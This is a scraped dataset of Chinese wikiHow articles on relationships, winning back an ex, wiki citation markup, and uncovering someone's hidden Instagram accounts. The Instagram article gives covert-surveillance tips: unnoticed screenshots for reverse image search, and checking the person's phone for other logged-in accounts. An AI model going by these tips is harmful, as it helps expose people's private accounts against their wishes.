\"你的胡思乱想可能来自于你们关系中某些尚未解决的问题。开诚布公地与对方聊一聊，说说你需要对方怎么做。同时，你还应该聆听对方的需要。找到一个大家都满意的折衷方法。\\n例如，也许你的伴侣晚上外出，回到家后不打电话给你，会让你担心。让对方从现在开始，回到家后就记得给你打电话或发信息。\\n了解一下你的伴侣希望你做出什么改变。你可以说：“我知道我可能对你提了很多要求，但我自己也愿意做出一些改变。你希望我做哪些事情？”他可能希望你能给他留出一点空间，这是合理的要求！让他得偿所愿，并让他有时间来想念你。\\n记住，恋爱关系的关键在于分享并体验彼此的陪伴，而不是解决自己的个人问题。这些问题只能靠你自己解决。\"}, {\"编号\": 4, \"标题\": \"当伴侣不在身边时，让自己保持忙碌。\", \"描述\": \"当伴侣外出旅行或和朋友外出时，不要隔几分钟就打电话查岗。让对方有自己的空间，能够享受假期时光。你可以出门和自己的朋友聚会，在家里做大扫除，或找点别的事情做来打发时间。\"}, {\"编号\": 5, \"标题\": \"相信伴侣说的话。\", \"描述\": \"与其拿着放大镜在伴侣告诉你的每件事情中寻找漏洞，不如相信对方。除非有合理的怀疑理由，否则你应该信任你的伴侣。缺乏信任会毁了你和你们的恋爱关系。出现可疑的情况时，要求对方告诉你真相并相信对方说的话。\\n不过，如果你有确凿的证据证明对方在说谎，那么也许是时候结束这段关系了。\"}, {\"编号\": 6, \"标题\": \"出现问题时进行沟通。\", \"描述\": \"与其挂断对方电话或劈头盖脸地指责对方，不如把问题摊开来说清楚。你应该等到对方下班或放学后，有时间放松时再提出这个问题。\\n你可以说：“嘿，宝贝，我不想在你工作的时候打扰你，不过我一直在想昨晚发生的事情。你对我大吼大叫让我很介意。我知道你很生气，但你不应该吼我。”\"}, {\"编号\": 7, \"标题\": \"让自己习惯恋爱关系中脆弱性。\", \"描述\": \"脆弱性指的是愿意分享真实的自己并暴露自己的缺点、秘密和黑暗面，而不感到羞耻。展露这种脆弱可以建立信任，为更加亲密的关系铺平道路。不要把自己的需求、感受和需要藏在心里，试着坦诚地与自己的伴侣交流。刚开始时，开诚布公需要一定的勇气，还会承受一定的风险，但作为回报，你会收获更多的信任，减少胡思乱想的次数。\"}, {\"编号\": 8, \"标题\": \"如果你的信任已经不复存在，可以试着评价一下现在和自己在一起的人。\", \"描述\": \"你的胡思乱想是存在于自己的每段恋爱关系里，还是最近才出现的？你之所以会胡思乱想，可能是因为现在和你在一起的人不值得你信任。与其和出轨、说谎、说话不算话的人在一起，不如结束这段关系。请选择一个一直可靠、诚实的伴侣。记住，结束关系不是世界末日，你可以从中吸取教训。\\n即使伴侣没有辜负你的信任，如果这段关系带来的伤害多于好处，那么结束它可能仍然是正确的选择。如果因为在恋爱中胡思乱想而承受了很大的压力，那么你可以针对这段关系列一份利弊清单，来帮助你判断自己是否应该继续和对方在一起。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,748 | 如何判断某人是否有多个Instagram账号 | 1. 阅读对方的简介。
这也太简单了吧？但有时人们的确会把自己的其他Instagram账号列在个人资料中。
你经常会看到有影响力的人物、企业主，甚至有些好友会为不同的话题、审美和兴趣分别开设账号。你也可以查看对方分享的故事，看看他们是否用其他账号分享了同样的内容。
2. 查看你的推荐好友。
如果某位好友开通了小号，你可能会在推荐中看到这个账号。
这种情况经常发生——有人开通了一个不想被好友知道 的Instagram小号，但Instagram却把这个秘密账号推荐给了他们的好友。查看好友推荐的方法如下：
前往你自己的Instagram个人资料。
点击“编辑个人资料”按钮右边带有加号（+）的人形轮廓。
点击以查看好友推荐。
查看这些个人资料，看看是否有任何个人资料像是某位好友的。你要查看他们的简介、照片、Reels短视频和位置，寻找与你在他们的主账号上看到的相似内容。
3. 同步你的手机联系人。
同步你的iPhone或Android联系人，这样能帮你找到联系人开通的所有Instagram账号。
如果你要查找的人在自己的手机联系人列表中，同步会让Instagram向你推荐该联系人的账号。同步联系人的方法如下：
前往你自己的个人资料，点击顶部的三线图标。
点击。
点击。
点击。
点击“连接联系人”。
在连接后，Instagram就会开始为你推荐任何开通了Instagram账号的联系人。你可以直接查看好友推荐名单，也可以等待Instagram发来通知。
4. 看看谁关注了他们。
用户的小号可能会关注他们的主账号。
点击对方主账户上的链接，浏览他们的关注者。要想找出对方的小号，那你得做一些调查，因为你必须去每个账号的个人资料中寻找线索，比如类似的照片、简介以及其他一些细节。
如果收到陌生用户的加好友请求或不认识的账号发来的消息，你想知道它是否属于你的某位好友，那就核实一下这位好友是否已经关注这个账号。你可以给共同的好友发一条消息，询问他们是否知道这个账号是谁的。
5. 在Instagram上搜索他们的名称。
如果某人有多个Instagram账号，那么他们可能会为自己的账号起类似的名称。
比方说，你在Instagram上搜索 microsoft，就会找到Microsoft的Instagram主账号，以及他们开通的其他一些账号，如@microsoftlife和@microsoft.design等。
试着搜索对方的用户名，以及他们的真实姓名（如果你知道的话）。
6. 在Google里面搜索他们。
在Google上搜索对方的名字和“Instagram”，看看能找到些什么。
如果在Instagram中搜索不到什么结果，还有一种简单的方法，那就是在Google上搜索Instagram公开账号中出现的词语、名字和短语。具体方法如下：
在搜索框中输入对方的名字（或者你认为可能会出现在其Instagram简介中的其他内容）。
输入一个空格，然后输入site:instagram.com。
按或搜索图标，查看包含所输入名字的Instagram公开账号的所有结果。
7. 利用他们的一张照片进行图片反向搜索。
搜索他们的照片可以帮你找到网上其他包含这张照片的地方。
通过搜索任何照片，你可能会发现对方将照片用到了另一个Instagram账号、不为大家所知的Facebook账号或者任何其他平台上。
在Instagram上进行图片反向搜索的最简单方法是在电脑上使用Google Chrome。
在电脑上的Chrome中登录 https://instagram.com 。
打开对方的某个帖子，或者点击他们的个人照片。
右键点击照片，选择。
点击并拖动你要搜索的图片周围的方框。任何匹配的照片会出现在右边的面板中。
如果你无法使用电脑，只用在Instagram应用程序中打开对方的个人资料照片或照片帖子，然后进行截图（对方不会知道）。然后，在手机上打开Google应用程序，点击相机图标，然后选择屏幕截图进行搜索。
8. 查找他们的其他社交媒体账号。
有时人们会在Facebook、Twitter和抖音上添加自己的Instagram账号的链接。
如果你怀疑某人有不止一个Instagram账号，而且你知道如何在别的社交媒体平台上找到他们，那就查看一下他们是否在其他社交媒体的个人资料中列出了自己的Instagram账号。
9. 检查他们的手机或平板电脑。
如果能拿到这个人的手机，那你就能确认他们是否在使用多个账号登录。
这个办法只有在你能进入他们的手机时才有用。只要打开Instagram，点击他们的个人资料照片，然后点击屏幕上方的名字。他们登录过的任何其他Instagram账号就会出现在底部的面板中。
如果什么都没有显示，你可以点击底部的，然后选择，看看手机是否提示你使用特定的用户名和密码进行登录。
| {
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"回答明细": "{\"回答\": \"1. 阅读对方的简介。\\n这也太简单了吧？但有时人们的确会把自己的其他Instagram账号列在个人资料中。\\n你经常会看到有影响力的人物、企业主，甚至有些好友会为不同的话题、审美和兴趣分别开设账号。你也可以查看对方分享的故事，看看他们是否用其他账号分享了同样的内容。\\n2. 查看你的推荐好友。\\n如果某位好友开通了小号，你可能会在推荐中看到这个账号。\\n这种情况经常发生——有人开通了一个不想被好友知道 的Instagram小号，但Instagram却把这个秘密账号推荐给了他们的好友。查看好友推荐的方法如下：\\n前往你自己的Instagram个人资料。\\n点击“编辑个人资料”按钮右边带有加号（+）的人形轮廓。\\n点击以查看好友推荐。\\n查看这些个人资料，看看是否有任何个人资料像是某位好友的。你要查看他们的简介、照片、Reels短视频和位置，寻找与你在他们的主账号上看到的相似内容。\\n3. 同步你的手机联系人。\\n同步你的iPhone或Android联系人，这样能帮你找到联系人开通的所有Instagram账号。\\n如果你要查找的人在自己的手机联系人列表中，同步会让Instagram向你推荐该联系人的账号。同步联系人的方法如下：\\n前往你自己的个人资料，点击顶部的三线图标。\\n点击。\\n点击。\\n点击。\\n点击“连接联系人”。\\n在连接后，Instagram就会开始为你推荐任何开通了Instagram账号的联系人。你可以直接查看好友推荐名单，也可以等待Instagram发来通知。\\n4. 看看谁关注了他们。\\n用户的小号可能会关注他们的主账号。\\n点击对方主账户上的链接，浏览他们的关注者。要想找出对方的小号，那你得做一些调查，因为你必须去每个账号的个人资料中寻找线索，比如类似的照片、简介以及其他一些细节。\\n如果收到陌生用户的加好友请求或不认识的账号发来的消息，你想知道它是否属于你的某位好友，那就核实一下这位好友是否已经关注这个账号。你可以给共同的好友发一条消息，询问他们是否知道这个账号是谁的。\\n5. 在Instagram上搜索他们的名称。\\n如果某人有多个Instagram账号，那么他们可能会为自己的账号起类似的名称。\\n比方说，你在Instagram上搜索 microsoft，就会找到Microsoft的Instagram主账号，以及他们开通的其他一些账号，如@microsoftlife和@microsoft.design等。\\n试着搜索对方的用户名，以及他们的真实姓名（如果你知道的话）。\\n6. 在Google里面搜索他们。\\n在Google上搜索对方的名字和“Instagram”，看看能找到些什么。\\n如果在Instagram中搜索不到什么结果，还有一种简单的方法，那就是在Google上搜索Instagram公开账号中出现的词语、名字和短语。具体方法如下：\\n在搜索框中输入对方的名字（或者你认为可能会出现在其Instagram简介中的其他内容）。\\n输入一个空格，然后输入site:instagram.com。\\n按或搜索图标，查看包含所输入名字的Instagram公开账号的所有结果。\\n7. 利用他们的一张照片进行图片反向搜索。\\n搜索他们的照片可以帮你找到网上其他包含这张照片的地方。\\n通过搜索任何照片，你可能会发现对方将照片用到了另一个Instagram账号、不为大家所知的Facebook账号或者任何其他平台上。\\n在Instagram上进行图片反向搜索的最简单方法是在电脑上使用Google Chrome。\\n在电脑上的Chrome中登录 https://instagram.com 。\\n打开对方的某个帖子，或者点击他们的个人照片。\\n右键点击照片，选择。\\n点击并拖动你要搜索的图片周围的方框。任何匹配的照片会出现在右边的面板中。\\n\\n如果你无法使用电脑，只用在Instagram应用程序中打开对方的个人资料照片或照片帖子，然后进行截图（对方不会知道）。然后，在手机上打开Google应用程序，点击相机图标，然后选择屏幕截图进行搜索。\\n8. 查找他们的其他社交媒体账号。\\n有时人们会在Facebook、Twitter和抖音上添加自己的Instagram账号的链接。\\n如果你怀疑某人有不止一个Instagram账号，而且你知道如何在别的社交媒体平台上找到他们，那就查看一下他们是否在其他社交媒体的个人资料中列出了自己的Instagram账号。\\n9. 检查他们的手机或平板电脑。\\n如果能拿到这个人的手机，那你就能确认他们是否在使用多个账号登录。\\n这个办法只有在你能进入他们的手机时才有用。只要打开Instagram，点击他们的个人资料照片，然后点击屏幕上方的名字。他们登录过的任何其他Instagram账号就会出现在底部的面板中。\\n如果什么都没有显示，你可以点击底部的，然后选择，看看手机是否提示你使用特定的用户名和密码进行登录。\\n\", \"简要回答\": \"想知道你认识的人是否有多个Instagram账号？无论是想寻找别人的Instagram小号，还是想确定某个账号是否属于你认识的人，这篇文章都能帮到你！尽管Instagram不会明确告诉你某个账号是谁的，但我们已经找到了简单的方法来帮你确认。继续阅读下文，了解寻找别人的Instagram小号的有用技巧！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"阅读对方的简介。\", \"步骤\": [{\"编号\": 1, \"标题\": \"这也太简单了吧？但有时人们的确会把自己的其他Instagram账号列在个人资料中。\", \"描述\": \"你经常会看到有影响力的人物、企业主，甚至有些好友会为不同的话题、审美和兴趣分别开设账号。你也可以查看对方分享的故事，看看他们是否用其他账号分享了同样的内容。\"}]}, {\"编号\": 2, \"标题\": \"查看你的推荐好友。\", \"步骤\": [{\"编号\": 1, \"标题\": \"如果某位好友开通了小号，你可能会在推荐中看到这个账号。\", \"描述\": \"这种情况经常发生——有人开通了一个不想被好友知道 的Instagram小号，但Instagram却把这个秘密账号推荐给了他们的好友。查看好友推荐的方法如下：\\n前往你自己的Instagram个人资料。\\n点击“编辑个人资料”按钮右边带有加号（+）的人形轮廓。\\n点击以查看好友推荐。\\n查看这些个人资料，看看是否有任何个人资料像是某位好友的。你要查看他们的简介、照片、Reels短视频和位置，寻找与你在他们的主账号上看到的相似内容。\"}]}, {\"编号\": 3, \"标题\": \"同步你的手机联系人。\", \"步骤\": [{\"编号\": 1, \"标题\": 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14,749 | 如何让前女友回到你身边 | 1. 准备好重赢芳心
1-1. 暂时不联系对方。
定好一段时间，在这段时间内你将不再与前度联系，包括电话、短信、社交媒体或私下见面。你将不再主动联系她或回复她。这使你们俩有空间去疗伤以及整理好自己的情绪。
不联系期一般为21、30或45天。无论你选择多少天不联系，都要坚持到底。
暂时不联系不但让你们俩有时间疗伤，还能让女朋友开始想你。
如果这段恋情以糟糕的方式结束了，你们也能在这段时期好好地冷静下来，并克服消极情绪。
1-2. 停止在社交媒体上与她来往。
即使你不再与前度联系，看到她的照片以及了解她在做什么会使你产生想联系她的冲动。不断通过社交媒体了解她的最新消息将使整件事变得更难，而且你可能还会看到一些你不想知道的信息，比如她已经开始和其他人约会了。
如果你需要删除或屏蔽前女友，那就这么做吧。但你不必让前女友知道你采取了这些措施。
不要发布自己因失恋而有多悲伤或沮丧的信息。
1-3. 评估这段关系。
因为你不再和前度联系，所以有时间去思考你们之间的关系。思考这段关系的优缺点。思考你有哪些地方做得好，哪些地方做得不足。另外，如果你有机会和她重新开始，你会做出怎样的改变。
在一张纸上写下利与弊可能对你会有帮助，也能帮助你认真思考这段关系。
1-4. 照顾好自己。
尽力提升自己，这样你再次联系她时才能吸引到她。保持健康的饮食和运动。多陪伴爱你的家人和朋友。参加一些之前恋爱时没时间参加的活动，比如做志愿者、打电子游戏、阅读等。
如果你不想出去或参加社交活动也没关系。只要是能帮助你从这段关系中恢复过来的事情都可以去做，包括冥想、写日记或独自一个人看电影。
如果你在两性关系中存在性格缺陷或问题，比如易怒、嫉妒、不安全感、把对方当成理所当然，或者是一个控制狂，那么你需要开始着手处理这些问题。 如果有必要，你也可以寻求专业帮助。
写下自己想成为怎样的男人，并开始努力达到每一项条件。
1-5. 避免讲她的坏话。
分手后你可能很想说前度的坏话。你可能会说出一些言不由衷的话。和她的家人、朋友或你的朋友说她的坏话，对整件事一点帮助都没有。让前度听到这些话会毁掉了你和她重新开始的机会。
尽量不要和他人分享你们的恋爱细节。
不要在社交媒体上面发布关于这段恋情的细节，包括暗示性信息，比如歌词、音乐视频或语录。
2. 联系你的前女友
2-1. .联系你的前度。
不联系期一结束即可联系你的前度。你可以通过电子邮件、电话、信件或短信与她取得联系。给她写电子邮件或信件，说你已经接受了分手的这个事实。如果你做错了任何事，请向她道歉，并和她分享一些你们分手之后的趣事。
如果你选择发短信，可以说一些能打开话匣子的轻松话题，不要提及任何消极的话题。
尝试发这种短信：“嗨，我之前在电视上看到X，她让我想起了你。”或者你也可以给对方发一些属于你们俩的美好回忆。 比如：“还记得我们一起去过那个很棒的餐厅吃饭吗？”
第一次联系她时，不要提起你想和她复合，也不要告诉她你想她或你爱她。
2-2. 你之前已经花了一段时间评估你们的关系。
现在是时候承认你自己的错误，并向她道歉。 这可以向她表明你已变得成熟，已对你们俩过去发生的事情进行了深刻的反思。.她也会开始看到你为了变得更好而做出的努力。
你可以当面说，也可以在电话中说，但不要在短信中进行长时间或深情的对话。
2-3. 约她出去。
既然你和前度已经开始恢复交流，问问她是否愿意和你出去约会或闲逛。问的时候尽量表现得轻松和礼貌。不要很郑重其事地提出来。尝试这样说：“你想去喝杯咖啡或喝点什么吗？”或者“我们一起聊聊近况吧。”
如果她不愿意，你可以说：“只是喝杯咖啡，有什么关系呢？”
如果她真的不想见你，也不要逼迫她。给她一些空间。告诉她：“我很理解你现在不想见我，但如果你改变主意了，请告诉我。我很希望能见你。”
2-4. 再次向她求爱。
为了重赢芳心，你必须重做那些让她第一次爱上你的事情。如果你之前给她送花或写甜蜜的留言，那么你需要再做一次。把这个机会当做一次新的恋情。你需要让她重新爱上你。
虽然你想让她注意到你，但不要表现得可怜巴巴，或求她回到你的身边。这只会让你看起来缺乏安全感或很懦弱。毕竟你希望她是因为你的好，而不是因为同情你才回到你身边的。
不要说像“我没了你活不下去”这样的话。
2-5. 避免说起过去。
你和前度将要重新开始了。将重点放在能让你们之前的恋情顺利发展的积极因素上。 If you won her over by being funny, continue to make her laugh. 如果你之前是用幽默风趣赢得了她的芳心，那么就继续逗她笑吧。如果她喜欢你做的菜，就为她准备一顿美味的饭菜吧。
将重点放在和她创造新的记忆上。她需要看到这次你们之间真的不同了。
2-6. 慢慢地开展。
你们重新再一起后，不要提及你们上次分开的事情。将它看做是一段新的关系。 花些时间再次了解彼此。毕竟你也不想为了和她复合而让她无所适从或者给她带来压力。 将重点放在建立稳固的友情上。
不要每天都发短信或者打电话。
出去约会，并一起参加一些活动。再次了解她的喜恶和习惯。
先不要开始肉体关系，多花些时间进行交谈。
2-7. 适时而止。
如果前度完全拒绝你做的所有事情，你需要尊重她的决定。如果她告诉你不要再打扰她，或者她已经往前看了，那你也应该往前看。表现得可怜巴巴，迟迟不肯放手只会让你看起来很糟糕，并毁掉了将来和她复合的最后一丝机会。
如果她有了新的男朋友，要尊重她的决定。不要企图让她离开她的男朋友。耐心地等待，看看她的新恋情是很认真的，还是只是分手后的反弹期。
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"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 准备好重赢芳心\\n1-1. 暂时不联系对方。\\n定好一段时间，在这段时间内你将不再与前度联系，包括电话、短信、社交媒体或私下见面。你将不再主动联系她或回复她。这使你们俩有空间去疗伤以及整理好自己的情绪。\\n不联系期一般为21、30或45天。无论你选择多少天不联系，都要坚持到底。\\n暂时不联系不但让你们俩有时间疗伤，还能让女朋友开始想你。\\n如果这段恋情以糟糕的方式结束了，你们也能在这段时期好好地冷静下来，并克服消极情绪。\\n1-2. 停止在社交媒体上与她来往。\\n即使你不再与前度联系，看到她的照片以及了解她在做什么会使你产生想联系她的冲动。不断通过社交媒体了解她的最新消息将使整件事变得更难，而且你可能还会看到一些你不想知道的信息，比如她已经开始和其他人约会了。\\n如果你需要删除或屏蔽前女友，那就这么做吧。但你不必让前女友知道你采取了这些措施。\\n不要发布自己因失恋而有多悲伤或沮丧的信息。\\n1-3. 评估这段关系。\\n因为你不再和前度联系，所以有时间去思考你们之间的关系。思考这段关系的优缺点。思考你有哪些地方做得好，哪些地方做得不足。另外，如果你有机会和她重新开始，你会做出怎样的改变。\\n在一张纸上写下利与弊可能对你会有帮助，也能帮助你认真思考这段关系。\\n1-4. 照顾好自己。\\n尽力提升自己，这样你再次联系她时才能吸引到她。保持健康的饮食和运动。多陪伴爱你的家人和朋友。参加一些之前恋爱时没时间参加的活动，比如做志愿者、打电子游戏、阅读等。\\n如果你不想出去或参加社交活动也没关系。只要是能帮助你从这段关系中恢复过来的事情都可以去做，包括冥想、写日记或独自一个人看电影。\\n如果你在两性关系中存在性格缺陷或问题，比如易怒、嫉妒、不安全感、把对方当成理所当然，或者是一个控制狂，那么你需要开始着手处理这些问题。 如果有必要，你也可以寻求专业帮助。\\n写下自己想成为怎样的男人，并开始努力达到每一项条件。\\n1-5. 避免讲她的坏话。\\n分手后你可能很想说前度的坏话。你可能会说出一些言不由衷的话。和她的家人、朋友或你的朋友说她的坏话，对整件事一点帮助都没有。让前度听到这些话会毁掉了你和她重新开始的机会。\\n尽量不要和他人分享你们的恋爱细节。\\n不要在社交媒体上面发布关于这段恋情的细节，包括暗示性信息，比如歌词、音乐视频或语录。\\n2. 联系你的前女友\\n2-1. .联系你的前度。\\n不联系期一结束即可联系你的前度。你可以通过电子邮件、电话、信件或短信与她取得联系。给她写电子邮件或信件，说你已经接受了分手的这个事实。如果你做错了任何事，请向她道歉，并和她分享一些你们分手之后的趣事。\\n如果你选择发短信，可以说一些能打开话匣子的轻松话题，不要提及任何消极的话题。\\n尝试发这种短信：“嗨，我之前在电视上看到X，她让我想起了你。”或者你也可以给对方发一些属于你们俩的美好回忆。 比如：“还记得我们一起去过那个很棒的餐厅吃饭吗？”\\n第一次联系她时，不要提起你想和她复合，也不要告诉她你想她或你爱她。\\n2-2. 你之前已经花了一段时间评估你们的关系。\\n现在是时候承认你自己的错误，并向她道歉。 这可以向她表明你已变得成熟，已对你们俩过去发生的事情进行了深刻的反思。.她也会开始看到你为了变得更好而做出的努力。\\n你可以当面说，也可以在电话中说，但不要在短信中进行长时间或深情的对话。\\n2-3. 约她出去。\\n既然你和前度已经开始恢复交流，问问她是否愿意和你出去约会或闲逛。问的时候尽量表现得轻松和礼貌。不要很郑重其事地提出来。尝试这样说：“你想去喝杯咖啡或喝点什么吗？”或者“我们一起聊聊近况吧。”\\n如果她不愿意，你可以说：“只是喝杯咖啡，有什么关系呢？”\\n如果她真的不想见你，也不要逼迫她。给她一些空间。告诉她：“我很理解你现在不想见我，但如果你改变主意了，请告诉我。我很希望能见你。”\\n2-4. 再次向她求爱。\\n为了重赢芳心，你必须重做那些让她第一次爱上你的事情。如果你之前给她送花或写甜蜜的留言，那么你需要再做一次。把这个机会当做一次新的恋情。你需要让她重新爱上你。\\n虽然你想让她注意到你，但不要表现得可怜巴巴，或求她回到你的身边。这只会让你看起来缺乏安全感或很懦弱。毕竟你希望她是因为你的好，而不是因为同情你才回到你身边的。\\n不要说像“我没了你活不下去”这样的话。\\n2-5. 避免说起过去。\\n你和前度将要重新开始了。将重点放在能让你们之前的恋情顺利发展的积极因素上。 If you won her over by being funny, continue to make her laugh. 如果你之前是用幽默风趣赢得了她的芳心，那么就继续逗她笑吧。如果她喜欢你做的菜，就为她准备一顿美味的饭菜吧。\\n将重点放在和她创造新的记忆上。她需要看到这次你们之间真的不同了。\\n2-6. 慢慢地开展。\\n你们重新再一起后，不要提及你们上次分开的事情。将它看做是一段新的关系。 花些时间再次了解彼此。毕竟你也不想为了和她复合而让她无所适从或者给她带来压力。 将重点放在建立稳固的友情上。\\n不要每天都发短信或者打电话。\\n出去约会，并一起参加一些活动。再次了解她的喜恶和习惯。\\n先不要开始肉体关系，多花些时间进行交谈。\\n2-7. 适时而止。\\n如果前度完全拒绝你做的所有事情，你需要尊重她的决定。如果她告诉你不要再打扰她，或者她已经往前看了，那你也应该往前看。表现得可怜巴巴，迟迟不肯放手只会让你看起来很糟糕，并毁掉了将来和她复合的最后一丝机会。\\n如果她有了新的男朋友，要尊重她的决定。不要企图让她离开她的男朋友。耐心地等待，看看她的新恋情是很认真的，还是只是分手后的反弹期。\\n\", \"简要回答\": \"分手很痛苦，但如果能让前度重回你身边却是一件好事。从你们分手的那一刻开始，重赢芳心的过程便开始了。你所走的每一步都可能使整件事变好或变坏。花些时间分析你们的关系，下功夫提升自己，并和她展开战略性沟通，你便可重新赢得她的芳心。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"准备好重赢芳心\", \"步骤\": [{\"编号\": 1, \"标题\": \"暂时不联系对方。\", \"描述\": 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} | wikihow |
14,750 | 如何为wikiHow文章添加参考来源 | 1. 步骤
1-1. 为你的文章寻找中立、权威、恰当的信息来源。
理想情况下要找原创文章，而不是那种有很多来源的信息摘要，比如维基百科。这些信息应该源自于知名的组织或作者，并且不能是为了自我推销而添加。
不要添加任何与页面分享信息没有直接关系，以及并不知名或中立的链接。如果你试图推广特定的网站或服务，或者重复添加同一网站的链接，那么相关链接可能会被列入黑名单，以后就无法再在wikiHow上使用了。你可以查看我们的外部链接政策，了解具体的链接政策信息。
1-2. 添加引文。
打开你要编辑的文章，然后把光标放在需要引用或参考的第一条信息。
按照下面的示例输入参考标记和URL：<ref>http://www.example.com/exact-page-you-found-information-on</ref>
如果引用的不是线上资料，比如纸质书籍或期刊，那就在打开和结束参考标签之间键入识别作品所需的信息，包括作者的姓名、出版年份（放在括号内）、作品标题、章节标题、页码和其他需要查找参考资料的信息。这包括作者的姓、名、出版年份（括号内）、作品名称、章节名称、页码以及找到该参考资料所需的其他信息。
如果来源是一本书，那就可以在参考中注明该书的ISBN（国际标准书号），方便读者在网上查询。
1-3. 移到你打算引用的文章中的下一个事实。
根据需要重复进行引用，直到添加完所有需要的参考。如果读者可能会对某个要点或建议的来源感到疑惑，那就在它们的结尾添加一个参考；如果要把参考链接用于多个要点，你也可以重复使用它们。
1-4. 如果需要，可以创建“参考”部分。
如果你使用的指导编辑器，里面应该就已经包括了这个部分。如果你使用高级编辑器，也可以手动添加；这个部分应该放在页面的最底部，在“相关wikiHows”的下面，并且把它标记为“==参考资料==”。
1-5. 在“参考”部分下方输入{{reflist}}。
该模板会自动生成代码，生成一个带编号的参考列表。它的前面不用添加项目符号。
1-6. 保存页面并测试相关链接。
如果一切正常，你现在就已经显著提高了wikiHow文章的信息质量和可靠性。
小提示
为了简单起见，通常只用URL作为参考，而不是标签。URL能告诉读者信息的确切来源。此外，URL在编辑页面上占用的空间更少一点，能尽量避免让格式显得混乱。
这里介绍的引用格式主要用来引用事实信息，以便支持wikiHow上的内容，并证明文章的准确性。不要用这种引用格式来链接到其他信息，也不要链接到其他不直接支持编号参考前方信息的页面。
在使用指导编辑器或高级编辑器时，你仍然可以添加更多一般参考的链接；但我们还是希望尽量使用内嵌（文中）引用，而不是一般参考。
如果多多次使用同一个来源，最好是完整地重复引用，而不要只使用“参考名称”。这样一来，就算有人之后对文章进行编辑时删除了第一个参考，其余的参考也不会因此而丢失。
鼓励尽量注明信息来源，避免抄袭。
警告
务必要仔细检查每条参考，确定它们都是以</ref>结尾。否则，在保存或预览的时候，页面就会出现严重的格式错误。
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14,751 | 如何向伴侣表达真心的爱意 | 1. 用行动表明
1-1. 从小事做起。
小事能起大作用，只要你用心去做就好。你的妻子或丈夫其实只需要知道，你在一天结束的时候都是想着他们的。下面这些是可以不花钱或是只需要一点钱就能做到的事情：
晚饭后在附近散步。
把一个房间当做舞池，邀请对方来跳舞。
在自家后院野营。
在床上为对方朗读。（有没有搞笑的评论都行）
一起健身。（有些夫妻说健身之后对方特别性感）
安排一次浪漫的假期，好好记录细节。
1-2. 积少成多。
把平凡的小事逐渐变为有意义的大事。这需要多费点儿心思和钱财（有些并不费钱），但当对方惊讶不已或乐开了花的时候，你就会觉得太值了。
做一个结婚之夜的视频剪辑。
请亲戚们一起举办一个让对方惊奇的生日聚会。
庆祝你们的第一次约会、触吻，或是初夜。
为伴侣写歌、录歌。（认真严肃或是半开玩笑的都行）
写一本故事书，记录你们从开始交往到现在的故事。
1-3. 做一些体贴关心对方的事情。
为对方准备洗澡水，发个短信，洗碗，写首诗。做一些对方会感动的事情。要知道，奉献自己永远别吝啬，如果你要表达爱意，却一直拖沓，最后就会什么也不做。
买一些对方会特别喜欢的东西。如果他喜欢一套工具箱或是芬迪手提包，当你买给他们或买了类似的东西时，他们会高兴死的。
做一些能表现出自己努力的成果的事情。不一定是努力买来对方想要的东西，但创作一首诗，写下来再裱框，这种事是需要付出很多精力的。
很多小举动发挥着很大的作用。你想做一件大事一次性补上之前的缺欠？对不起，我要告诉你的是：在平时为对方做一些小事比花前月下的“大动作”要容易的多。你要做好这些小事，并持之以恒。
1-4. 花时间和对方在一起（这是最容易被忽略，但却是最能表现出爱意的方式）。
关上手机、电视、电脑、收音机，坐在一起享受彼此。和丈夫或妻子在一起，能给你服侍对方的机会，也就是爱对方的机会。
至少一个月约会一次。你们的孩子、日常的忙碌、冷漠，这些都会阻碍你们的关系发展，但你们两个至少要每月吃一次晚饭或看一场电影，好再次点燃你们的爱火。
有疑问就提出来。人是喜欢谈论自己的，你的配偶也不例外。用“如何”“是什么”“什么时候”这样的词来说话，而不是“是或否”。美好的沟通来自恰当的提问。你要专业一点儿。
知道对方真实的过去。很多夫妻过了很多年之后，才惊讶地发现对方过去的一些细节。对对方的过去感兴趣就是表明你真的在乎对方。不要说谎，实话实说，有错就认，表明你们互相信任，接受彼此的过去。
2. 言辞表达
2-1. 说出你的爱。
清楚地说出来就能让对方知道你多么爱他。表达你的感想就是分享你自己的方式，对方就能听到。你可以说，“你一走进来，我的心跳就加速了”，或说“我一天都在想你，每次想起你我就开心地笑了。” 有什么就说什么。
赞美配偶的能力和成绩。看看你有没有让对方觉得他自己很独特或是与众不同。你要多说对方的优点。如果丈夫希望自己是个知识分子，你就要肯定他的智力；如果你妻子喜欢赶时髦，就要肯定她的衣着风格。
要多表达感受。要勇于说出自己的感受。也要让对方说出来。聊聊那些当天发生的小事，让伴侣感到他自己进入了你的生活。
2-2. 说实话。
告诉伴侣实情是忠诚的表现，表明信任和尊重。实话不一定是正面的，也不一定有多大意义。只因为这些是真的。向伴侣表达无条件的爱，而不是无条件的接受。同时，也要愿意接受伴侣的纠正。这样能帮助你们两个成长，增进你们的关系，少一些幻想或虚假的东西。
别大声说话，别用沉重的词，或是用一些一般化的词，像“往往”和“经常”，这些词会增加表达的分量。
不要被一些文化里的说法影响，说什么爱对方就不会试图让对方变得更好。你要相信，你的另一半实际上愿意你告诉他们的实情。你们应该尽量努力彼此鼓励，提升自己，使你们的关系更好。
用温和的言语指出对方的缺点，提供有用的建议帮助对方。如果伴侣很敏感，就不要批评，而要赞美。这样对方就知道自己的不足之处了，不要说谎，说对方很完美，要说出对方需要改变的地方，要用积极的方式提升对方。
2-3. 明白伴侣喜欢什么样的“爱语”。
你说爱他/她的时候对方开心吗？或是你的付出让对方觉得自己是被爱着的？有人收到礼物时有被爱的感觉，有人喜欢对方充满爱意的抚摸。如果真的爱对方，就不要用你喜欢的方式表达爱意，而是要用伴侣喜欢的方式。
：一点点身体的爱抚意味深长。男人们不太喜欢身体接触，有时一个简单的动作，像亲吻对方的脖颈，或是一个随意的拥抱就能让对方满足。这不是让对方安心，而是你要主动地表达情感。
：男人有时觉得身体接触不是必须的，他们觉得那样太黏糊。不是说你不能表达爱意；只是要知道对方不一定和你一样觉得这很重要。你要给伴侣时间说出他的情感，如果对方不愿意说，你也不要生气。
3. 通过信任对方表达爱意
3-1. 要知道行动往往比言语更有效。
别光说，也要做。如果总是说要做什么事情，但从来不做，对方会不开心。如果你说了又做不到，你的话就会开始变得乏味，伴侣会慢慢不信任你。
